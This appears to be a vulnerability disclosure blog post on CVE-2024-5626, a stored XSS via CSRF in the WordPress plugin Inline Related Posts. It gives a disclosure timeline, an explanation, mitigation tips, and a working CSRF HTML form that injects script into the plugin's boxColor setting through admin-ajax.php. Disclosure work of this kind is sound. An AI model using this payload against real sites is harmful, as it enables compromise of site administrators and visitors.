In the ever-evolving landscape of web security, vulnerabilities continue to emerge, posing significant threats to website integrity and user privacy. Recently, a critical vulnerability identified as CVE-2024-5626 was discovered in the popular WordPress plugin, Inline Related Posts. This vulnerability allows attackers to execute Stored Cross-Site Scripting (XSS) attacks via Cross-Site Request Forgery (CSRF), leading to unauthorized admin account creation. With over 100,000 installations, the potential impact of this vulnerability is substantial.

PluginInline Related Posts < 3.7.0
All Time1 367 292
Active installations100 000+
Publicly PublishedJune 27, 2024
Last UpdatedJune 27, 2024
ResearcherDmtirii Ignatyev
OWASP TOP-10A7: Cross-Site Scripting (XSS)
Plugin Security Certification by CleanTalk
Logo of the plugin


June 3, 2024Plugin testing and vulnerability detection in the Inline Related Posts have been completed
June 3, 2024I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing
June 27, 2024Registered CVE-2024-5626

Discovery of the Vulnerability

The vulnerability was uncovered during routine security testing of the Inline Related Posts plugin. Researchers found that an unauthenticated user could exploit this flaw by embedding a malicious shortcode in a new post. The attack involves manipulating the plugin’s settings through a crafted HTML form, allowing the execution of arbitrary JavaScript code. The discovery underscores the importance of continuous security assessments for plugins, especially those with widespread use.

Understanding of Stored XSS attack’s

Cross-Site Scripting (XSS) is a prevalent security issue in web applications, including WordPress plugins. XSS occurs when an attacker injects malicious scripts into content that is later rendered by the browser. This can lead to unauthorized actions, data theft, and, in severe cases, complete takeover of a website. In WordPress, plugins are common vectors for XSS attacks due to their extensive customization capabilities. Real-world examples include attacks on popular plugins where malicious scripts were embedded in comments, posts, or even settings, causing significant damage to site integrity and user trust.

Exploiting the Stored XSS Vulnerability

To exploit the CVE-2024-5626 vulnerability, an attacker can use a specially crafted HTML form to inject a malicious script into the plugin’s settings. The proof-of-concept (POC) payload involves embedding a form that submits malicious data to the WordPress admin-ajax.php endpoint, altering the template settings of the Inline Related Posts plugin. The following payload demonstrates how this can be achieved:



  <script>history.pushState('', '', '/')</script>
    <form action="" method="POST">
      <input type="hidden" name="action" value="do&#95;action" />
      <input type="hidden" name="irp&#95;action" value="ui&#95;box&#95;preview" />
      <input type="hidden" name="rewritePostsDays" value="0" />
      <input type="hidden" name="template&#45;ctaText" value="READ" />
      <input type="hidden" name="template&#45;template" value="Minimalist" />
      <input type="hidden" name="template&#45;boxOpacity" value="1" />
      <input type="hidden" name="template&#45;ctaTextColor" value="&#35;464646" />
      <input type="hidden" name="template&#45;postTitleColor" value="&#35;000000123123" />
      <input type="hidden" name="template&#45;boxColor" value="123&lt;&#47;style&gt;&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="template&#45;borderColor" value="&#35;34495E" />
      <input type="hidden" name="template&#45;hasShadow" value="0" />
      <input type="hidden" name="template&#45;hasPoweredBy" value="0" />
      <input type="hidden" name="template&#45;linkRel" value="dofollow" />
      <input type="hidden" name="template&#45;linkTarget" value="&#95;blank" />
      <input type="submit" value="Submit request" />


The potential risks associated with this vulnerability are significant. In a real-world scenario, an attacker could exploit this flaw to gain administrative access to a WordPress site, leading to data theft, defacement, or further exploitation. Websites using the Inline Related Posts plugin are particularly vulnerable, given the plugin’s widespread adoption. This vulnerability highlights the critical need for robust input validation and output sanitization in WordPress plugins to prevent such attacks.

Recommendations for Improved Security

To mitigate the risks associated with CVE-2024-5626, it is essential to follow several best practices:

  1. Regular Updates: Ensure that all plugins and the WordPress core are updated to their latest versions, as updates often contain security patches.
  2. Input Validation: Implement strict input validation to prevent the injection of malicious code.
  3. Output Sanitization: Sanitize all outputs to ensure that any potentially harmful code is neutralized before rendering.
  4. Use Security Plugins: Employ security plugins that can provide additional layers of protection against XSS and CSRF attacks.
  5. Educate Users: Educate site administrators and users on the importance of security practices and recognizing potential threats.

By taking proactive measures to address Stored XSS vulnerabilities like CVE-2024-5626, WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.

#WordPressSecurity #StoredXSS #WebsiteSafety #StayProtected #VeryHighVulnerability

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CVE-2024-5626 – Inline Related Posts – Stored XSS via CSRF to Admin Account Creation (Unauth) – POC

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